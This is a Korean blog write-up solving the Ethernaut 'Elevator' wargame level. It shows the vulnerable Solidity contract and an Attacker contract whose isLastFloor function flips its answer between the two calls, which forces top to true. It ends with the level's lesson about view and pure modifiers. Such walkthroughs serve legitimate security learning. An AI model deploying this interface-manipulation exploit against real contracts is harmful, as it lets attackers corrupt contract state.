새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] Elevator

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

우리의 mission은 꼭대기 층을 맞춰야 하는 것 같다.

이 문제는 building.isLastFloor() 함수를 두 번 호출한다. 그래서 if 문에서는 isLastFloor(_floor)가 false가 나와야 하고

top에서는 isLastFllor(floor)가 true가 나와야 한다.

현재 top는 false, floor는 0층으로 설정되어 있다. _floor는 아무 숫자나 상관이 없다. 왜냐하면 그냥 True False만 return 하면 되기 때문이다.

contract Attacker{
    
    Elevator elevator;
    bool public tmp = true;
    constructor(address _address) public {
        elevator = Elevator(_address);
    }

    function isLastFloor(uint) public returns(bool) {
        tmp = !tmp;
        return tmp;
    }
    
    function attack() public {
        elevator.goTo(5);
    }
}

Contract를 추가하고 attack하면 top이 true가 된다.

이 문제는 수정을 방지하기 위하여 view나 pure 한정자를 사용하라고 나와 있다.

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ethernaut] Gatekeeper Two  (0) 2023.02.09
[Ethernaut] Gatekeeper One  (0) 2023.02.09
[Ehthernaut] MagicNumber  (0) 2023.02.08
[Ethernaut] Re-entrancy  (0) 2023.02.07
[Ethernaut] King  (0) 2023.02.07
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.